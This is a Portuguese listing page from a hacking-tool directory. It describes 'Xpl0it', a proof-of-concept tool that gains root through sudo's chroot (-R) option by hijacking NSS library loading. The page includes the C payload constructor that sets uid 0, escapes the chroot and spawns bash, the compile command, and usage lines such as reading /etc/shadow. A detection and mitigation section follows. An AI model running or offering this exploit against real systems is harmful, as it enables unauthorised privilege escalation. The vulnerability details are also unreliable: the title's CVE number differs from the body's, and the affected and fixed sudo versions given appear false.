Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/secvulnhub/cve-2025-32463-exploit
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoTestes de PenetraçãoAprendizado e EducaçãoExploração de BináriosLabs e Prática
GitHubsecvulnhub/cve-2025-32463-exploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-32463-EXPLOIT

Exploit de prova de conceito para CVE-2023-42456, demonstrando escalada de privilégio via sequestro da biblioteca NSS do sudo por meio de injeção chroot. Inclui detecção automatizada de versão, geração de payload e escape de chroot para testes de segurança autorizados.

Ver Repositório
1há 3 mesesAinda não revisado

Xpl0it — Sequestro de Biblioteca NSS do Sudo | v0.0.4

Autor: 0xb0rn3 | 0xbv1
Tipo: Ferramenta de Pesquisa de Segurança Prova de Conceito (PoC)
CVE: CVE-2023-42456
Técnica: injeção de biblioteca NSS via -R chroot do sudo → escalonamento de privilégio para root


⚠️ Aviso Legal

Esta ferramenta foi desenvolvida apenas para testes de penetração autorizados e pesquisa educacional em segurança. Execute-a exclusivamente em sistemas que você possua ou tenha permissão explícita por escrito para testar. O(s) autor(es) não se responsabilizam por qualquer uso indevido. O uso não autorizado é ilegal.


🎯 O que esta ferramenta faz

Xpl0it é uma prova de conceito que explora uma falha no modelo de confiança de como o sudo gerencia o carregamento dinâmico de bibliotecas NSS (Name Service Switch) ao usar a flag -R (chroot). Em versões vulneráveis do sudo, um invasor que controla o diretório chroot pode envenenar o nsswitch.conf dentro dele para forçar o sudo a carregar uma biblioteca compartilhada maliciosa enquanto ainda mantém privilégios elevados — antes de qualquer redução de credenciais.

Em uma execução bem-sucedida, a ferramenta o coloca em um shell root ou executa qualquer comando especificado com uid=0 gid=0.


🔍 CVE-2023-42456 — Versões Afetadas

Esta ferramenta tem como alvo exclusivo CVE-2023-42456. A vulnerabilidade existe em dois ramos de lançamento, cada um com um commit de correção separado:

Importante: sudo 1.9.17 e posteriores não são vulneráveis. Ferramentas e artigos anteriores listaram incorretamente o intervalo como "1.9.14–1.9.17". Esta ferramenta realiza detecção de versão por ramo para evitar falsos positivos.

Fora do escopo

As seguintes CVEs não são exploráveis por meio desta técnica e foram intencionalmente excluídas para evitar falsos positivos:

CVETécnicaPor que foi excluído
CVE-2021-3156 (Baron Samedit)Estouro de buffer baseado em heapVetor de ataque completamente diferente
CVE-2021-23239Condição de corrida no sudoeditTécnica diferente

🔑 Pré-requisito Crítico — ChrootDir no Sudoers

sudo -R exige uma diretiva ChrootDir= explícita na entrada do sudoers do usuário alvo. NOPASSWD sozinho não concede permissão para -R.

Sem ChrootDir, o sudo rejeita totalmente a flag -R:

root@kitploit:~
sudo: you are not permitted to use the -R option with bridge

Uma entrada no sudoers que permite este exploit deve se parecer com uma das seguintes:

root@kitploit:~
# Caminho de chroot irrestrito (condição de ataque ideal)
targetuser ALL=(root) ChrootDir=* NOPASSWD: ALL

# Caminho de chroot restrito (ferramenta adapta diretório de preparação automaticamente)
targetuser ALL=(root) ChrootDir=/var/jail/* NOPASSWD: /bin/bash

# Caminho específico (ferramenta cria preparação dentro do caminho permitido)
targetuser ALL=(root) ChrootDir=/tmp/* NOPASSWD: ALL

Xpl0it analisa sudo -l em busca de ChrootDir antes de qualquer trabalho de preparação e aborta precocemente com uma explicação clara se a permissão estiver ausente.


🔬 Mergulho Técnico Profundo

Cadeia do Exploit

root@kitploit:~
sudo -R bridge bridge
      │
      ├─ sudo calls chroot("./bridge")          ← attacker controls this dir
      │
      ├─ sudo must resolve calling user's info
      │  └─ loads /etc/nsswitch.conf from chroot
      │       └─ "passwd: files bridge90"
      │            └─ dynamic linker loads libnss_bridge90.so.2
      │                 └─ __attribute__((constructor)) fires
      │                      └─ setreuid(0,0) + setregid(0,0)
      │                           └─ chroot escape → exec payload
      │
      └─ root shell spawned

Passo a Passo

Passo 1 — Reconhecimento
Coleta SO, versão do kernel, arquitetura, contexto do usuário atual e todos os caminhos de busca de bibliotecas válidos. Detecta a aplicação de AppArmor/SELinux e o status de NoNewPrivs — todos podem bloquear silenciosamente o exploit se ativos.

Passo 2 — Identificação da Versão
Analisa sudo --version e verifica o intervalo afetado de dois ramos para CVE-2023-42456 com precisão de nível de patch. Aborta com explicação se a versão estiver corrigida ou fora do intervalo.

Passo 3 — Verificação de Permissão ChrootDir
Analisa sudo -l em busca de diretivas ChrootDir=. Se ausente, aborta imediatamente. Se restrito a um caminho específico, automaticamente utiliza esse caminho para preparação para que o sudo aceite a chamada -R.

Passo 4 — Sonda Pré-Exploração
Constrói um chroot mínimo descartável e dispara uma chamada sudo -R inofensiva antes de qualquer trabalho real de preparação. Confirma que o sudo alcançará a resolução NSS e captura rejeições de "não permitido" precocemente.

Passo 5 — Geração do Payload
Escreve bridge90.c — uma biblioteca compartilhada C com uma função __attribute__((constructor)) (_nss_bridge90_init) que é disparada no momento em que o vinculador dinâmico a carrega:

root@kitploit:~
__attribute__((constructor))
static void _nss_bridge90_init(void) {
    setreuid(0, 0);  setregid(0, 0);
    setuid(0);       setgid(0);

    // chroot escape: mkdir sub-dir → chroot deeper →
    // traverse 40x"../" → re-anchor chroot to real /
    mkdir("._esc", 0700);
    if (chroot("._esc") == 0) {
        // ... 40x "../" chdir ...
        chroot(".");
    }
    chdir("/");
    execl("/bin/bash", "bash", "-c", CMD, NULL);
    execl("/bin/sh",   "sh",   "-c", CMD, NULL);
    _exit(1);
}

Passo 6 — Configuração do Ambiente
Constrói um chroot convincente dentro do diretório de preparação:

  • bridge/etc/nsswitch.conf — envenenado para carregar o serviço NSS bridge90
  • bridge/<lib_path>/libnss_bridge90.so.2 — o payload, implantado em todos os caminhos de lib detectados (cobertura multilib)
  • bridge/bin/bridge — executável stub que o sudo deve encontrar para prosseguir após as verificações pré-execução
  • bridge/bin/sh, bridge/bin/bash — shells com interpretador ELF correto (detectado via readelf -l)
  • bridge/etc/ld.so.conf — cobre todos os caminhos de lib para que ldconfig -r construa um cache válido

Passo 7 — Compilação

root@kitploit:~
gcc -shared -fPIC -nostartfiles -Wl,-soname,libnss_bridge90.so.2 -o libnss_bridge90.so.2 bridge90.c
  • -nostartfiles — sem código de inicialização padrão; o construtor cuida de tudo
  • -Wl,-soname — SONAME correto para resolução de nomes NSS
  • Sem -Wl,-init — __attribute__((constructor)) é suficiente; adicionar -Wl,-init causa uma chamada dupla e é um bug

Após a compilação, nm -D verifica se o símbolo do construtor está presente na tabela de exportação dinâmica.

Passo 8 — Execução
Dispara sudo -R bridge bridge a partir do diretório de preparação. NSS resolve bridge90 → carrega nossa biblioteca → construtor é disparado com privilégios elevados → fuga do chroot executa → shell root.

Por que a Vulnerabilidade Existe

A implementação de -R do sudo confia no conteúdo do diretório chroot que ele acessa. Antes dessa correção, o sudo não validava se o ambiente chroot havia sido adulterado. Como o usuário que fornece o caminho do chroot controla seu conteúdo — incluindo nsswitch.conf e as bibliotecas NSS que ele referencia — ele pode redirecionar o carregamento de bibliotecas para código arbitrário que é executado antes que o sudo realize qualquer redução de privilégios.


🛡️ Detecção e Mitigação

Correções Imediatas

Atualizar o sudo
Atualize para 1.9.15p2, 1.9.16p2 ou qualquer versão 1.9.17+. Essas versões validam ambientes chroot antes de permitir a resolução NSS dentro deles.

root@kitploit:~
# Verifique sua versão
sudo --version

# Debian/Ubuntu
apt-get update && apt-get install sudo

# Arch Linux
pacman -Syu sudo

# RHEL/Fedora
dnf update sudo

Auditar diretivas ChrootDir
Revise /etc/sudoers e todos os arquivos em /etc/sudoers.d/. Remova entradas ChrootDir= a menos que explicitamente necessárias. Restrinja curingas — prefira ChrootDir=/caminho/específico em vez de ChrootDir=*.

root@kitploit:~
grep -r "ChrootDir" /etc/sudoers /etc/sudoers.d/ 2>/dev/null

Detecção

Assinaturas de log de auditoria

root@kitploit:~
# auditd — detectar invocações sudo -R (raras em uso legítimo)
auditctl -a always,exit -F arch=b64 -S execve \
  -F exe=/usr/bin/sudo -k sudo_chroot_attempt

# journald
journalctl | grep -i "sudo.*-R\|chroot"

Indicadores suspeitos

  • Chamadas sudo -R nos logs — uso legítimo em produção é extremamente raro
  • Diretórios temporários sob /tmp com nomes correspondendo a sudobridge.*
  • Arquivos libnss_*.so.2 em /tmp ou diretórios graváveis pelo usuário
  • Invocações de gcc a partir de sessões de usuário não relacionadas à construção do sistema
  • Chamadas de sistema setreuid/setregid de processos não pertencentes ao root

Camadas de Endurecimento


📋 Uso

Uso Básico

root@kitploit:~
# Tornar executável
chmod +x Xpl0it

# Entrar em shell root (padrão)
./Xpl0it

# Executar um comando específico como root
./Xpl0it -c "id && cat /etc/shadow"

# Modo de depuração — saída verbosa, diretório de preparação preservado ao sair
./Xpl0it -d

# Perguntar antes de continuar em caso de incompatibilidade de versão
./Xpl0it -v

# Combinar flags
./Xpl0it -v -d -c "/bin/bash"

Opções

Pré-requisitos

A entrada do sudoers do usuário alvo também deve incluir ChrootDir= — a ferramenta verifica isso automaticamente e falha rapidamente com uma explicação se estiver ausente.


🔎 Solução de Problemas

Se o exploit falhar, execute com -d para preservar o diretório de preparação e inspecione:

Motivos comuns de falha:


📚 Leitura Adicional

  • Comunicado de segurança CVE-2023-42456 do sudo
  • Repositório de origem do sudo
  • Arquitetura NSS — man nsswitch.conf, man 5 nss
  • Funcionamento interno do vinculador dinâmico — man ld.so, man ldconfig
  • Técnicas de fuga do chroot — página de manual POSIX chroot(2)

🤝 Contribuindo

Contribuições que melhorem a precisão, portabilidade ou cobertura de detecção são bem-vindas. Mantenha quaisquer adições alinhadas com os princípios de divulgação responsável e casos de uso de testes autorizados.


Xpl0it é para pesquisa de segurança autorizada apenas. Sempre obtenha permissão explícita por escrito antes de testar em sistemas que você não possui.

Baixar ferramenta
RamoVulnerávelCorrigido em
1.9.14.xtodos (1.9.14 – 1.9.14p2)N/A (ramo inteiro afetado)
1.9.15.x1.9.15 – 1.9.15p11.9.15p2
1.9.16.x1.9.16 – 1.9.16p11.9.16p2
1.9.17+não afetadocorreção mesclada upstream antes do ramo
CVE-2021-23240Bypass de link simbólico de função SELinuxTécnica diferente
CamadaAção
Patchsudo ≥ 1.9.15p2 / 1.9.16p2 / 1.9.17+
SudoersRemover ChrootDir=*; usar apenas caminhos específicos
MACPerfis AppArmor/SELinux bloqueando dlopen() não confiável
Sistema de arquivosMontar /tmp e diretórios de usuário com noexec,nosuid
IMDSv2Em instâncias em nuvem, exigir acesso a metadados baseado em token
MonitoramentoAlertas do auditd em invocações de sudo -R
NoNewPrivsPR_SET_NO_NEW_PRIVS impede que setreuid() funcione
FlagDescrição
-c, --command <cmd>Comando a ser executado após escalonamento (padrão: /bin/bash)
-d, --debugSaída de depuração verbosa; preserva diretório de preparação ao sair
-v, --verbosePerguntar antes de continuar se a versão estiver fora do intervalo afetado
-h, --helpMostrar uso
--versionExibir versão
DependênciaObrigatórioPropósito
gccSimCompilar biblioteca compartilhada NSS no alvo
sudoSimBinário alvo
ldconfigSimConstruir ld.so.cache dentro do chroot
readelfSimDetectar caminho do interpretador ELF
grep, awk, sed, findSimUtilitários padrão
strace, ltrace, gdbOpcionalDepuração avançada
nmOpcionalVerificação de símbolo do construtor
VerificarCaminhoO que procurar
Log de compilação$STAGE/logs/compile.logErros do gcc
Log do ldconfig$STAGE/logs/ldconfig.logErros de construção do cache
nsswitch.conf$STAGE/bridge/etc/nsswitch.confpasswd: files bridge90
Biblioteca$STAGE/bridge/<lib_path>/libnss_bridge90.so.2deve existir
Sudoerssudo -ldeve mostrar ChrootDir=
ErroCausa
not permitted to use the -R optionChrootDir= ausente no sudoers
Código de saída 1, sem erro NSSVersão do sudo corrigida
Biblioteca não carregando silenciosamenteAppArmor/SELinux bloqueando dlopen()
setreuid ignoradoNoNewPrivs=1 no processo
Biblioteca não encontradaldconfig -r falhou e fallback de link simbólico insuficiente